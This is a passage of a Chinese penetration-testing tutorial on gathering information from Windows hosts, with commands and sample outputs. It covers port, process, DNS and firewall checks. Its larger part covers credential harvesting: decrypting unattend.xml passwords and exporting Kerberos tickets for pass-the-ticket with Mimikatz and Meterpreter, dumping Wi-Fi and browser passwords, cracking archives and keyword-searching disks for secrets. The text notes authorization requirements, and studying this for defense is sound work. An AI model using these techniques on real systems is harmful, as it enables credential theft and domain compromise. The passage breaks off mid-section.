网络安全信息收集-02

2025博客之星年度评选已开启 10w+人浏览 2.1k人参与

4.3.2 通过 PID 定位进程(tasklist)

  • 用途:已知端口对应的PID后,通过tasklist精准定位进程本体,判断该端口是否由合法服务占用(如3389对应termsrv.exe为正常,对应malware.exe则为异常);

  • 命令(替换456为实际PID,结合netstat -ano获取的PID值):

    tasklist | findstr "456"  # 基础筛选:仅显示PID对应的进程名和路径
    # 若需更详细信息(如进程完整路径、内存占用),可使用:
    tasklist /fi "PID eq 456" /v  # /fi:筛选条件;/v:显示详细信息
    
  • 实战示例1:合法进程(3389端口对应RDP服务)

    tasklist /fi "PID eq 456" /v
    

    输出结果:

    图像名称                     PID 会话名              会话#       内存使用
    ========================== ====== ================ ======== ============
    termsrv.exe                  456  Services                   0     12,344 K
    用户名:                      NT AUTHORITY\SYSTEM
    CPU 时间:                    0:05:23
    窗口标题:                    N/A
    

    解读termsrv.exe是Windows远程桌面服务(RDP)的核心进程,由NT AUTHORITY\SYSTEM(系统账户)启动,内存占用稳定,属于合法进程。

  • 实战示例2:异常进程(未知端口对应恶意程序)
    netstat -ano发现192.168.1.101:8888(未知端口)的PID为9999,执行:

    tasklist /fi "PID eq 9999" /v
    

    输出结果:

    图像名称                     PID 会话名              会话#       内存使用
    ========================== ====== ================ ======== ============
    malware.exe                  9999  Console                    1     89,760 K
    用户名:                      DESKTOP-ABC123\ZhangSan
    CPU 时间:                    2:15:30
    窗口标题:                    N/A
    

    异常判断malware.exe为未知进程名,由普通用户ZhangSan启动,且占用大量CPU时间(2小时以上),需立即核查进程路径(可通过wmic process where "ProcessId=9999" get ExecutablePath获取路径),判断是否为木马、挖矿程序等恶意软件。

  • 实战技巧:若进程路径位于C:\Users\Public\C:\Temp\C:\Windows\Temp\等非标准安装目录,且进程名无明确业务含义(如a1b2c3.exe),大概率为恶意进程,需终止进程并删除文件。

4.3.3 PowerShell 查看 TCP 连接(灵活筛选)

  • 用途:相较于netstat,PowerShell的Get-NetTCPConnection支持更灵活的筛选条件(如按端口、状态、本地IP筛选),且输出格式更易读,适合批量分析;
  • 前提:PowerShell 3.0及以上版本(Windows 7及后续系统默认支持);
  • 核心命令与示例
    1. 筛选所有监听状态的TCP端口(开放端口):

      Get-NetTCPConnection | Where-Object { $_.State -eq 'Listen' } | Select-Object LocalAddress, LocalPort, State, OwningProcess
      

      输出结果:

      LocalAddress  LocalPort State  OwningProcess
      ------------  --------- -----  -------------
      0.0.0.0       3389      Listen 456
      0.0.0.0       445       Listen 4
      192.168.1.101 8080      Listen 5678
      

      解读LocalAddress=0.0.0.0表示监听所有本地IP,LocalAddress=192.168.1.101表示仅监听特定内网IP(可能是Web服务绑定的固定IP)。

    2. 筛选与外部IP的已建立连接(排查异常外连):

      Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' -and $_.RemoteAddress -notlike '192.168.*' } | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess
      

      输出结果:

      LocalAddress  LocalPort RemoteAddress RemotePort OwningProcess
      ------------  --------- ------------- ---------- -------------
      192.168.1.101 49152     202.97.128.68 80         1234
      192.168.1.101 51234     103.XX.XX.XX  443        9999
      

      异常排查RemoteAddress=103.XX.XX.XX(非内网网段)且OwningProcess=9999(对应malware.exe),需通过WHOIS查询该IP归属(如是否为境外恶意IP),判断是否存在数据泄露风险。

    3. 通过PID关联进程名(无需切换CMD):

      # 先获取PID=5678的TCP连接,再关联进程名
      $conn = Get-NetTCPConnection | Where-Object { $_.OwningProcess -eq 5678 }
      $process = Get-Process -Id 5678 | Select-Object Name, Path
      [PSCustomObject]@{
          LocalPort = $conn.LocalPort
          RemotePort = $conn.RemotePort
          ProcessName = $process.Name
          ProcessPath = $process.Path
      }
      

      输出结果:

      LocalPort RemotePort ProcessName ProcessPath
      --------- ---------- ----------- -----------
      8080      0          java.exe    C:\Program Files\Java\jdk1.8.0_202\bin\java.exe
      

      解读:明确8080端口由java.exe占用,路径为Java安装目录,推测是Java Web服务(如Tomcat),属于合法业务进程。

4.4 DNS 与出网探测(网络连通性分析)

DNS(域名系统)负责将域名解析为IP地址,出网探测则判断主机可向外网发起连接的端口,二者结合可识别主机的网络访问范围和潜在通信渠道。

4.4.1 查看 DNS 缓存(近期解析记录)

  • 用途:DNS缓存记录主机近期解析过的域名(如访问过的网站、域控域名、API服务器域名),可辅助判断主机的业务访问范围和异常通信;

  • 方法1:CMD命令(简洁版)

    ipconfig /displaydns  # 显示所有DNS缓存条目,包含域名、IP、生存时间(TTL)
    

    输出结果(关键条目):

    记录名称 . . . . . . . : www.baidu.com
    记录类型 . . . . . . . : 1  # 类型1=A记录(IPv4地址)
    生存时间 . . . . . . . : 120  # TTL=120秒,缓存120秒后重新解析
    数据长度 . . . . . . . : 4
    部分. . . . . . . . . . : 回答
    A (主机) 记录  . . . . : 180.101.49.12  # 百度的IPv4地址
    
    记录名称 . . . . . . . : dc01.test-domain.com
    记录类型 . . . . . . . : 1
    生存时间 . . . . . . . : 3600
    数据长度 . . . . . . . : 4
    部分. . . . . . . . . . : 回答
    A (主机) 记录  . . . . : 192.168.1.10  # 域控的IPv4地址
    

    解读:缓存中包含dc01.test-domain.com(域控域名),进一步确认主机属于域环境;若出现未知域名(如malicious.com),需核查解析记录对应的IP是否为恶意地址。

  • 方法2:PowerShell命令(详细版,支持筛选)

    # 查看所有DNS缓存,筛选A记录(IPv4),并显示域名、IP、TTL
    Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache | 
    Where-Object { $_.RecordType -eq 'A' } | 
    Select-Object HostName, IPAddress, TimeToLive | 
    Format-Table -AutoSize
    

    输出结果:

    HostName              IPAddress       TimeToLive
    --------              ---------       ----------
    www.baidu.com         {180.101.49.12} 115
    dc01.test-domain.com  {192.168.1.10}  3595
    api.company.com       {10.0.0.5}      600
    

    实战筛选:若需查找包含“api”的域名,可添加筛选条件:

    Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache | 
    Where-Object { $_.HostName -like '*api*' }
    

4.4.2 探测出网端口(判断可通信端口)

  • 用途:出网端口决定了主机可向外网发起连接的“通道”(如80/443端口可访问网页,3389端口可远程连接外网主机),是判断后门通信能力、业务访问权限的关键;

  • 原理:通过尝试与外部测试服务器的所有端口建立TCP连接,成功连接的端口即为可出网端口;

  • 方法1:PowerShell探测(基础版)

    # 探测1-10000端口,测试服务器使用allports.exposed(开放所有端口的公共测试服务器)
    $testServer = "allports.exposed"
    $ports = 1..10000  # 探测1到10000端口(可根据需求调整范围)
    $openPorts = @()
    
    foreach ($port in $ports) {
        $tcpClient = New-Object System.Net.Sockets.TcpClient
        $connectResult = $tcpClient.BeginConnect($testServer, $port, $null, $null)
        $waitResult = $connectResult.AsyncWaitHandle.WaitOne(100)  # 超时时间100毫秒,避免阻塞
    
        if ($waitResult -and $tcpClient.Connected) {
            $openPorts += $port
            Write-Host "端口 $port 可出网"
        }
        $tcpClient.Close()
    }
    
    Write-Host "`n可出网端口列表:$($openPorts -join ', ')"
    

    输出结果:

    端口 80 可出网
    端口 443 可出网
    端口 3389 可出网
    端口 5985 可出网
    
    可出网端口列表:80, 443, 3389, 5985
    

    解读:80/443端口可出网(正常业务需求,访问网页/API),3389/5985端口可出网需警惕——若主机无远程管理需求,可能存在被用于远程控制的风险。

  • 方法2:借助工具探测(高效版)
    若需快速探测全端口(1-65535),可使用nc(NetCat)或nmap工具(需管理员权限):

    # 使用nc探测出网端口(需先下载nc.exe到本地)
    for /l %p in (1,1,65535) do (nc -z -w 1 allports.exposed %p && echo 端口 %p 可出网)
    

    说明-z表示仅扫描端口不发送数据,-w 1表示超时时间1秒,效率高于PowerShell循环。

  • 风险提示:探测出网端口可能触发企业防火墙的告警(如频繁连接外部IP),需提前获得运维团队授权,避免被判定为恶意行为。

第五章 防火墙与安全配置收集(网络防护核查)

Windows防火墙是系统的第一道网络防护,收集其配置可判断入站/出站规则是否存在漏洞(如开放不必要端口、允许敏感IP访问),确保网络防护符合安全规范。

5.1 查看防火墙状态(所有配置文件)

  • 用途:Windows防火墙包含“域”“专用”“公用”三个配置文件(对应不同网络环境),需分别查看状态是否开启,避免因某一配置文件关闭导致防护失效;
  • 命令
    netsh advfirewall show allprofiles  # 显示所有配置文件的状态和核心策略
    
    输出结果(关键字段):
    域配置文件设置:
    ----------------------------------------------------------------------
    状态                                 ON  # 防火墙开启(域环境下必须开启)
    防火墙策略                           BlockInbound,AllowOutbound  # 默认策略:阻止入站,允许出站
    入站例外                             允许  # 存在入站例外规则(如远程桌面、文件共享)
    出站例外                             允许
    启用 stealthmode                      是  # 启用隐身模式(不响应外部探测,减少被扫描风险)
    入站数据包筛选                       启用
    出站数据包筛选                       启用
    
    专用配置文件设置:
    ----------------------------------------------------------------------
    状态                                 ON  # 专用网络(如家庭、公司内网)开启防火墙
    防火墙策略                           BlockInbound,AllowOutbound
    ...
    
    公用配置文件设置:
    ----------------------------------------------------------------------
    状态                                 ON  # 公用网络(如咖啡厅、酒店WiFi)开启防火墙(关键!防止公网攻击)
    防火墙策略                           BlockInbound,AllowOutbound
    ...
    
    风险排查:若任一配置文件状态为OFF(尤其是“公用”配置文件),需立即开启——公网环境下关闭防火墙会导致主机直接暴露在外部攻击中,易被植入恶意程序。

5.2 查看防火墙规则(入站/出站控制)

5.2.1 查看所有防火墙规则(基础信息)
  • 命令
    netsh advfirewall firewall show rule name=all  # 显示所有规则,包含名称、方向、协议、端口
    
    输出结果(关键规则):
    规则名称:                            Remote Desktop (TCP-In)  # 远程桌面入站规则
    启用:                              是  # 规则已启用
    方向:                              入站  # 入站规则(控制外部访问主机)
    配置文件:                          域,专用,公用  # 所有配置文件均生效
    分组:                              远程桌面
    本地IP:                            任何  # 允许所有本地IP
    远程IP:                            任何  # 允许所有远程IP(风险点!应限制为内网IP)
    协议:                              TCP
    本地端口:                          3389  # 开放3389端口(RDP)
    远程端口:                          任何
    操作:                              允许  # 允许符合条件的连接
    
    规则名称:                            File and Printer Sharing (SMB-In)  # SMB文件共享入站规则
    启用:                              是
    方向:                              入站
    配置文件:                          域,专用
    本地IP:                            任何
    远程IP:                            本地子网  # 仅允许本地子网访问(安全配置)
    协议:                              TCP
    本地端口:                          445
    操作:                              允许
    
    安全评估
    1. Remote Desktop (TCP-In)规则的远程IP为“任何”——若主机暴露在公网,会导致全球IP均可尝试暴力破解RDP密码,需修改为“本地子网”或指定管理员IP;
    2. File and Printer Sharing (SMB-In)规则的远程IP为“本地子网”——符合安全规范,避免公网访问SMB服务(SMB漏洞高发,如永恒之蓝)。
5.2.2 筛选特定类型规则(精准核查)
  • 示例1:查看所有入站允许规则
    netsh advfirewall firewall show rule name=all direction=in action=allow
    
  • 示例2:查看开放3389端口的规则
    netsh advfirewall firewall show rule name=all localport=3389 protocol=TCP
    
  • 示例3:查看允许外部IP访问的出站规则
    netsh advfirewall firewall show rule name=all direction=out remoteip=any action=allow
    

5.3 查看防火墙日志配置(审计与追溯)

  • 用途:防火墙日志记录入站/出站的数据包详情(如源IP、目标IP、端口、是否被拦截),可用于追溯网络攻击(如暴力破解、恶意连接);
  • 命令
    netsh advfirewall show logging  # 显示所有配置文件的日志设置
    
    输出结果:
    域配置文件的日志设置:
    ----------------------------------------------------------------------
    日志文件路径: C:\Windows\system32\LogFiles\Firewall\domainfw.log  # 域环境日志路径
    日志记录级别: 中  # 中级别:记录成功的连接和失败的连接(推荐)
    最大日志文件大小(KB): 4096  # 日志文件最大4GB,满后自动覆盖旧日志
    
    专用配置文件的日志设置:
    ----------------------------------------------------------------------
    日志文件路径: C:\Windows\system32\LogFiles\Firewall\privatefw.log
    日志记录级别: 中
    最大日志文件大小(KB): 4096
    
    公用配置文件的日志设置:
    ----------------------------------------------------------------------
    日志文件路径: C:\Windows\system32\LogFiles\Firewall\publicfw.log
    日志记录级别: 高  # 高级别:记录所有数据包(含未匹配规则的数据包,日志体积大)
    最大日志文件大小(KB): 8192
    
  • 日志分析技巧
    1. 用记事本或Excel打开日志文件,筛选DROP(拦截)条目,查看是否有大量来自同一IP的拦截记录(可能是暴力破解);
    2. 筛选ALLOW(允许)条目,核查是否有非预期的外部IP访问敏感端口(如3389、445);
    3. 若日志级别为“低”(仅记录失败连接),需修改为“中”或“高”,确保审计完整性:
      # 将公用配置文件的日志级别修改为“中”
      netsh advfirewall set logging public loglevel medium
      

第六章 敏感数据收集(核心目标:凭证与业务数据)

敏感数据是信息收集的最终目标,包括密码、Kerberos票据、业务文档等,这些数据直接关系到系统的控制权和业务安全。需在严格授权下执行,避免违反数据安全法规。

6.1 密码相关信息(系统与应用凭证)

6.1.1 无人值守安装文件(隐藏的明文/加密密码)
  • 背景:Windows系统或软件批量部署时,会使用unattend.xml等无人值守文件自动填充管理员密码,部署后若未删除,会残留敏感凭证;
  • 常见路径(需逐一核查):
    1. C:\sysprep.inf
    2. C:\sysprep\sysprep.xml
    3. C:\Windows\Panther\Unattend\Unattended.xml
    4. C:\Windows\Panther\Unattended.xml
    5. C:\Windows\system32\sysprep\unattend.xml
  • 查看方法
    1. 用记事本直接打开文件;
    2. 搜索<Password><LocalAccount>标签,定位密码字段;
  • 示例内容(加密密码)
    <LocalAccounts>
      <LocalAccount wcm:action="add">
        <Password>
          <Value>UABhAHMAcwB3AG8AcgBkAFAAYQBzAHMAdwBvAHIAZAA=</Value>  # Base64编码,解码后为"PasswordPassword"
          <PlainText>false</PlainText>  # false=加密存储(通常用DPAPI加密),true=明文存储(高危!)
        </Password>
        <Name>Administrator</Name>
        <Group>Administrators</Group>
      </LocalAccount>
    </LocalAccounts>
    
  • 解密提示
    1. <PlainText>true,直接获取明文密码;
    2. 若为false,需使用dpapi.py(Python工具)或Mimikatz(需管理员权限),结合当前用户的DPAPI密钥解密;
    3. 实战命令(Mimikatz):
      mimikatz # dpapi::unattend /in:C:\Windows\Panther\Unattended.xml
      
6.1.2 Wi-Fi密码(已连接网络的凭证)
  • 用途:主机已连接的Wi-Fi密码(如公司内网Wi-Fi、员工个人Wi-Fi)可能被用于横向渗透(如连接同一Wi-Fi的其他主机);

  • 步骤1:查看已连接的Wi-Fi名称

    netsh wlan show profiles  # 显示所有已保存的Wi-Fi配置文件
    

    输出结果:

    所有用户配置文件 :
        WiFi-Office  # 公司内网Wi-Fi
        WiFi-Home    # 员工个人Wi-Fi
        WiFi-Cafe    # 公共Wi-Fi(通常无密码或弱密码)
    
  • 步骤2:查看指定Wi-Fi的明文密码(需管理员权限)

    netsh wlan show profile name="WiFi-Office" key=clear  # key=clear:显示明文密码
    

    输出结果(关键字段):

    安全设置
        身份验证         : WPA2-Personal  # 加密方式(WPA2较安全,WEP已淘汰)
        密码             : 存在
        密钥内容         : CompanyWiFi@2024  # Wi-Fi明文密码
        密钥索引         : 0
    
  • 风险提示:公司内网Wi-Fi密码若被泄露,可能导致外部人员通过Wi-Fi接入内网,需定期更换密码并启用802.1X认证(基于用户的Wi-Fi认证)。

6.1.3 浏览器保存的账号密码(应用凭证)
  • 背景:Chrome、Edge、Firefox等浏览器默认保存用户登录的账号密码(如OA系统、邮箱、业务系统),可通过工具导出;

  • Chrome/Edge浏览器(基于Chromium内核)

    1. 密码存储路径:C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Login Data(Chrome);C:\Users\用户名\AppData\Local\Microsoft\Edge\User Data\Default\Login Data(Edge);
    2. 导出工具:chromepass.exe(NirSoft工具,无需安装);
    3. 实战命令:
      chromepass.exe /stext C:\ChromePasswords.txt  # 将密码导出为文本文件
      

    输出结果(文本文件):

    网站URL: https://mail.company.com/login
    用户名: ZhangSan@company.com
    密码: MailPass@2024
    最后修改时间: 2024-05-15 09:30:00
    
    网站URL: https://oa.company.com
    用户名: zhangsan
    密码: OAPass@123
    
  • Firefox浏览器

    1. 密码存储路径:C:\Users\用户名\AppData\Roaming\Mozilla\Firefox\Profiles\随机字符串.default-release\logins.json
    2. 导出工具:firefoxpasswordview.exe(NirSoft工具);
  • 注意事项:浏览器密码通常用用户的Windows凭据加密,需在当前用户上下文(登录状态)下导出,无法跨用户读取。

6.2 Kerberos票据信息(域环境核心凭证)

Kerberos票据是域内身份验证的“通行证”,无需密码即可通过票据访问域内资源(如文件共享、数据库),获取票据是域渗透的关键步骤。

6.2.1 查看本地存储的凭据(cmdkey)
  • 用途cmdkey用于管理Windows凭据管理器中的凭证(如RDP连接凭证、域凭据、普通用户名密码);
  • 命令
    cmdkey /l  # /l:列出所有存储的凭据
    
    输出结果:
    当前存储的凭据:
    
    目标: TERMSRV/192.168.1.200  # 目标:远程桌面(RDP)主机192.168.1.200
    类型: 域密码
    用户: test-domain\ZhangSan  # 存储的域用户名
    
    目标: MicrosoftAccount\zhangsan@outlook.com  # 微软账户(可能关联Office、OneDrive)
    类型: 普通密码
    用户: zhangsan@outlook.com
    
    目标: Domain:interactive=TEST-DOMAIN\LiSi  # 域内交互式凭据(LiSi的域凭证)
    类型: 域密码
    用户: TEST-DOMAIN\LiSi
    
  • 实战价值:若存在TERMSRV/IP类型的凭据,可直接通过mstsc /v:IP登录远程主机(无需输入密码);若存在域管理员的凭据,可直接获取域控访问权限。
6.2.2 查看Kerberos票据缓存(klist)
  • 用途klist显示当前用户的Kerberos票据缓存(如TGT票据、服务票据),TGT票据可用于生成“黄金票据”,服务票据可直接访问对应服务;
  • 命令
    klist  # 查看所有票据
    klist tickets  # 仅查看票据(同klist)
    klist purge  # 清除所有票据(用于测试票据获取流程)
    
    输出结果(关键票据):
    缓存的票据: (2)
    
    #0>  客户端: ZhangSan @ TEST-DOMAIN.COM
        服务器: krbtgt/TEST-DOMAIN.COM @ TEST-DOMAIN.COM  # TGT票据(关键!域内身份验证的基础)
        KerbTicket 加密类型: AES-256-CTS-HMAC-SHA1-96  # 加密类型(AES-256较安全,RC4-HMAC易破解)
        票据标志 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        开始时间: 5/20/2024 9:00:00 (本地)
        结束时间: 5/20/2024 19:00:00 (本地)  # 票据有效期10小时
        续订时间: 5/27/2024 9:00:00 (本地)  # 可续订,最长7天
        KDC 调用: DC01.test-domain.com  # 签发票据的KDC(域控)
    
    #1>  客户端: ZhangSan @ TEST-DOMAIN.COM
        服务器: cifs/DC01.test-domain.com @ TEST-DOMAIN.COM  # CIFS服务票据(用于访问域控的文件共享\\DC01\share)
        KerbTicket 加密类型: AES-256-CTS-HMAC-SHA1-96
        开始时间: 5/20/2024 9:05:00 (本地)
        结束时间: 5/20/2024 19:00:00 (本地)
        KDC 调用: DC01.test-domain.com
    
  • 票据类型解读
    1. TGT票据(krbtgt/域名称):由域控的krbtgt账户签发,用于向KDC申请其他服务票据(如CIFS、HTTP),是“黄金票据”攻击的核心;
    2. 服务票据(服务类型/主机名):如cifs/DC01(文件共享)、http/WEB01(Web服务)、mssqlsvc/SQL01(SQL Server),可直接访问对应服务;
  • 实战应用:若获取TGT票据,可使用Mimikatz导出票据文件(.kirbi格式),用于“Pass the Ticket”(票据传递)攻击:
    mimikatz # sekurlsa::tickets /export  # 导出所有票据到当前目录
    
    输出结果:
    [+] Ticket saved to C:\Users\ZhangSan\AppData\Local\Temp\krbtgt_TEST-DOMAIN.COM_ZhangSan.kirbi
    [+] Ticket saved to C:\Users\ZhangSan\AppData\Local\Temp\cifs_DC01.TEST-DOMAIN.COM_ZhangSan.kirbi
    
6.2.3 Metasploit获取票据(meterpreter会话)
  • 前提:已通过漏洞(如永恒之蓝、弱密码)获取目标主机的meterpreter会话;

  • 步骤1:加载kiwi模块(集成Mimikatz)

    load kiwi  # 加载kiwi模块(旧版本为load mimikatz)
    
  • 步骤2:导出Kerberos票据

    kiwi_cmd sekurlsa::tickets /export  # 同Mimikatz命令,导出票据到目标主机的临时目录
    
  • 步骤3:下载票据到本地

    download C:\Users\ZhangSan\AppData\Local\Temp\krbtgt_TEST-DOMAIN.COM_ZhangSan.kirbi  # 下载TGT票据到本地
    
  • 风险提示:票据传递攻击属于高风险操作,可能导致域内权限扩散,仅可在授权的红队测试中执行,且需在测试后清除所有导出的票据。

6.3 特殊文件挖掘(业务数据与配置)

特殊文件通常包含账号密码、业务清单、拓扑图等敏感信息,需结合“关键字搜索+路径遍历”的方式精准挖掘。

6.3.1 文档类文件(xlsx/docx/pptx/txt/md)
  • 核心场景:用户常将“域账号清单.xlsx”“数据库密码.docx”“网络拓扑图.pptx”等敏感文档保存在桌面、文档目录或共享盘;

  • 查找命令(递归搜索C盘,按文件类型筛选):

    # 搜索C盘所有xlsx文件,输出完整路径
    dir /s /b /a-d C:\*.xlsx  # /s:递归搜索;/b:简洁格式(仅路径);/a-d:排除目录,仅显示文件
    
    # 搜索包含“账号”“密码”关键字的txt文件
    dir /s /b /a-d C:\*.txt | findstr /i "账号\|密码"  # /i:不区分大小写;\|:逻辑或
    

    输出结果:

    C:\Users\ZhangSan\Desktop\域账号清单.xlsx
    C:\Users\ZhangSan\Documents\数据库密码.txt
    C:\Users\Public\共享文档\IT资产清单.pptx
    
  • 内容分析技巧

    1. 用Excel打开域账号清单.xlsx,查看是否包含“用户名-密码-部门”对应关系;
    2. 用记事本打开数据库密码.txt,搜索“root”“sa”“admin”等数据库管理员账号;
    3. 用PowerPoint打开IT资产清单.pptx,查看是否包含内网IP段、设备型号、管理员联系方式;
  • 示例文档内容(数据库密码.txt)

    SQL Server 2019(SQL01):
    用户名:sa
    密码:SQLsa@2024
    IP:192.168.1.20
    
    MySQL(DB01):
    用户名:root
    密码:MySQLroot@123
    IP:192.168.1.21
    
6.3.2 配置文件(conf/ini/xml/ovpn)
  • VPN配置文件(.ovpn/.pptp):包含VPN服务器地址、端口、证书路径,部分配置文件嵌入用户名;

    • 查找命令:dir /s /b C:\*.ovpn
    • 输出结果:C:\Users\ZhangSan\Documents\Company-VPN.ovpn
    • 关键内容:
      remote vpn.company.com 1194  # VPN服务器地址和端口(1194为OpenVPN默认端口)
      dev tun
      cert client.crt  # 客户端证书路径(通常与ovpn文件同目录)
      auth-user-pass  # 启用用户名密码认证(需手动输入,未明文存储)
      
  • 应用配置文件(.ini/.conf):包含数据库连接字符串、API密钥、服务账号密码;

    • 查找命令:dir /s /b C:\*.ini | findstr /i "config\|setting"
    • 输出结果:C:\Program Files\ERP\erp.ini
    • 关键内容:
      [Database]
      Server=192.168.1.20
      Database=ERPDB
      UID=erpadmin
      PWD=ERPAdmin@2024  # 明文密码(高危!)
      Port=1433
      
  • Web配置文件(web.config/appsettings.json):ASP.NET/ASP.NET Core应用的配置文件,含数据库连接、密钥;

    • 查找命令:dir /s /b C:\inetpub\wwwroot\*.config(IIS默认网站目录)
    • 关键内容(web.config):
      <connectionStrings>
        <add name="ERPConn" connectionString="Server=192.168.1.20;Database=ERPDB;Uid=erpadmin;Pwd=ERPAdmin@2024;" providerName="MySql.Data.MySqlClient" />
      </connectionStrings>
      
6.3.3 代码文件(py/php/jsp/aspx/asp/sql)
  • 核心风险:程序员常将数据库密码、API密钥硬编码到代码中(如db_password = "123456"),用于测试或图方便,上线后未删除;

  • 查找命令(搜索代码中的密码关键字):

    # 搜索C盘所有py文件,包含“password”“pass”“pwd”关键字
    findstr /s /i /m "password\|pass\|pwd" C:\*.py  # /m:仅显示包含关键字的文件名
    
    # 搜索aspx文件中的数据库连接字符串
    findstr /s /i "connectionstring" C:\*.aspx
    

    输出结果:

    C:\Users\LiSi\Code\db_connect.py
    C:\inetpub\wwwroot\login.aspx
    
  • 代码内容分析(db_connect.py)

    import pymysql
    
    # 数据库连接配置(硬编码密码)
    db_config = {
        'host': '192.168.1.21',
        'user': 'root',
        'password': 'MySQLroot@123',  # 明文密码
        'db': 'testdb',
        'port': 3306
    }
    
    conn = pymysql.connect(**db_config)
    
  • 修复建议:代码中的敏感信息应存储在环境变量、配置中心或加密文件中,禁止硬编码。

6.3.4 压缩文件(zip/rar/7z)
  • 核心场景:用户常将敏感文件打包为压缩包(如“2024年账号备份.zip”“运维文档.rar”),部分压缩包无密码或使用弱密码(如123456、公司简称);

  • 查找命令

    dir /s /b C:\*.zip C:\*.rar C:\*.7z  # 同时搜索三种压缩文件类型
    

    输出结果:

    C:\Users\ZhangSan\Desktop\2024账号备份.zip
    C:\Users\Public\运维文档.rar
    
  • 密码破解技巧

    1. 尝试默认密码:123456、admin、公司简称(如company)、压缩包创建日期(如20240520);
    2. 使用工具:7zCrack(针对7z文件)、RAR Password Cracker(针对RAR文件),采用字典攻击;
    3. 实战命令(7zCrack):
      7zCrack.exe -f "C:\2024账号备份.zip" -d "C:\dict.txt"  # -f:压缩包路径;-d:字典文件路径
      
  • 注意事项:破解压缩包密码可能耗时较长,优先尝试弱密码和业务相关密码(如公司生日、部门编号)。

6.3.5 关键字精准搜索(全局敏感词匹配)
  • 用途:针对“账号”“密码”“login”“pass”等通用敏感词,在全磁盘范围内搜索,覆盖所有文件类型;
  • PowerShell命令(全局搜索)
    # 在C:\Users目录下搜索包含“密码”或“pass”的文件,输出文件路径和匹配行
    Get-ChildItem -Path C:\Users -Recurse -File | 
    Select-String -Pattern "密码|pass" -CaseSensitive:$false | 
    Select-Object Path, LineNumber, Line | 
    Format-Table -AutoSize
    
    输出结果:
    Path                                      LineNumber Line
    ----                                      ---------- ----
    C:\Users\ZhangSan\Documents\笔记.txt       15         数据库密码:123456
    C:\Users\LiSi\Code\config.py              22         db_pass = "LiSiPass@2024"
    C:\Users\Public\Readme.txt                8          默认登录密码:admin123
    
  • 常用敏感词列表(可根据业务补充):
    中文关键词英文关键词关联场景
    账号、账户、登录、用户名login、user、username、account系统登录凭证
    密码、口令、密钥pass、password、pwd、key密码或密钥
    内网、网段、IP、网关intranet、subnet、IP、gateway网络拓扑信息
    管理员、后台、权限admin、backend、privilege高权限账号或入口
    备份、恢复、数据backup、restore、data业务数据备份文件
    VPN、代理、隧道VPN、proxy、tunnel远程访问工具配置

第七章 局域网存活主机与进阶信息收集

7.1 局域网存活主机探测(无扫描工具场景)

在无nmapmasscan等工具的环境下,可通过Windows原生命令探测内网存活主机,避免触发安全设备告警。

7.1.1 NetBIOS扫描(nbtstat
  • 原理:NetBIOS是局域网内主机通信的协议,nbtstat -A IP可获取主机的NetBIOS名称(主机名),存在响应即表示主机存活;
  • 命令(扫描192.168.1.0/24网段):
    # 批量扫描192.168.1.1到192.168.1.254
    for /l %i in (1,1,254) do nbtstat -A 192.168.1.%i | findstr "NetBIOS Remote Machine Name" && echo 192.168.1.%i 存活
    
    输出结果:
    NetBIOS Remote Machine Name Table
    192.168.1.1 存活
    NetBIOS Remote Machine Name Table
    192.168.1.10 存活
    NetBIOS Remote Machine Name Table
    192.168.1.101 存活
    
7.1.2 OXID扫描(oleview.exe
  • 原理:OXID是Windows COM组件的远程调用协议,通过oleview.exe(需安装Windows SDK)探测局域网内开启COM服务的主机;
  • 步骤
    1. 运行oleview.exe,点击“Tools”→“COM Object Scanner”;
    2. 输入目标网段(如192.168.1.0/24),点击“Scan”;
    3. 扫描完成后,显示存活主机的IP和COM组件信息;
  • 优势:可探测到开启COM服务的主机(如域控、文件服务器),这些主机通常是内网核心设备。

7.2 其他进阶信息(系统痕迹与配置)

7.2.1 启用的共享文件夹(net share
  • 用途:共享文件夹是内网数据传输的常用方式,可能包含敏感文档(如财务数据、人事信息);
  • 命令
    net share  # 显示当前主机的所有共享文件夹
    
    输出结果:
    共享名       资源                            注释
    
    -------------------------------------------------------------------------------
    C$           C:\                             默认共享(管理员可访问)
    D$           D:\                             默认共享
    ADMIN$       C:\Windows                      远程管理共享
    Users        C:\Users                        用户共享
    共享文档     C:\Users\Public\Documents       公共共享文档
    命令成功完成。
    
  • 风险排查
    1. Users共享文档共享的权限设置为“Everyone 完全控制”,存在数据泄露风险;
    2. 非默认共享(如“Finance”)需核查共享内容和权限,避免敏感数据对外开放。
7.2.2 最近运行的命令与文件(用户操作痕迹)
  • 最近运行的命令(PowerShell历史记录)

    Get-History  # 显示当前PowerShell会话的命令历史
    # 查看所有PowerShell历史记录(包含之前会话)
    Get-Content (Get-PSReadLineOption).HistorySavePath
    

    输出结果:

    1: ipconfig /all
    2: net user
    3: Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' }
    4: mimikatz # sekurlsa::logonpasswords  # 高风险操作,需核查是否为授权行为
    
  • 最近访问的文件(Windows资源管理器历史)

    1. 路径:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Recent
    2. 内容:包含最近访问的文件快捷方式(.lnk文件),双击可直接打开原文件;
7.2.3 注册表敏感配置(reg命令)
  • 用途:注册表存储系统核心配置(如服务启动项、软件安装信息、用户凭据),通过reg命令查看敏感键值;

  • 示例1:查看远程桌面端口(默认3389,可能被修改)

    reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
    

    输出结果:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
        PortNumber    REG_DWORD    0x1ce9  # 0x1ce9=7401,表示RDP端口被修改为7401
    
  • 示例2:查看开机启动项(可能存在恶意程序)

    reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"  # 系统级开机启动项
    reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"  # 当前用户开机启动项
    

    输出结果:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
        AliYunDun    REG_SZ    "C:\Program Files\AliYunDun\AliYunDun.exe"  # 阿里云Agent(合法)
        Malware      REG_SZ    "C:\Temp\malware.exe"  # 未知启动项(恶意程序,需删除)
    
7.2.4 安装的监控与安全软件(wmic
  • 用途:识别主机安装的杀毒软件、监控Agent(如Zabbix、Prometheus),避免操作触发安全告警;
  • 命令
